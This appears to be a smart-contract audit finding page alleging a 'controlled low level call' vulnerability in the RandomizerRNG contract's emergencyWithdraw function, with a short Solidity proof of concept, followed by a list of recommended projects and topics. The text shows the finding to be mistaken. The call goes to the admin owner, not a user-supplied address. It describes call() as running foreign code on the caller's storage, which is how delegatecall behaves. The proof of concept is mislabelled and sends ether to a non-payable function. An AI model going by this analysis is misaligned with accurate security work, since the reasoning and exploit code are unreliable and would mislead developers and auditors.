See the markdown file with the details of this report here.
[M-03] Controlled low level call in the RandomizerRNG contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L79-L84
Vulnerability details
Impact
The contract is using call() which is accepting address controlled by a user.
This can have devastating effects on the contract as a call allows the contract to execute code belonging to other contracts but using it’s own storage.
This can very easily lead to a loss of funds and compromise of the contract.
Proof of Concept
Vulnerable emergencyWithdraw function
// Ln 79-84
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Exploit claimAuction low level call
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./RandomizerRNG.sol";
contract tRandomizerRNG {
RandomizerRNG public x1;
constructor(RandomizerRNG _x1) {
x1 = RandomizerRNG(_x1);
}
function testlowCallC() public payable {
x1.emergencyWithdraw{value: 2 ether}();
}
receive() external payable {}
}
Tools Used
VS Code.
Recommended Mitigation Steps
Do not allow user-controlled data inside the call() function.
// Ln 82
(bool success, ) = payable(admin).call{value: balance}("");
Assessed type
call/delegatecall
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.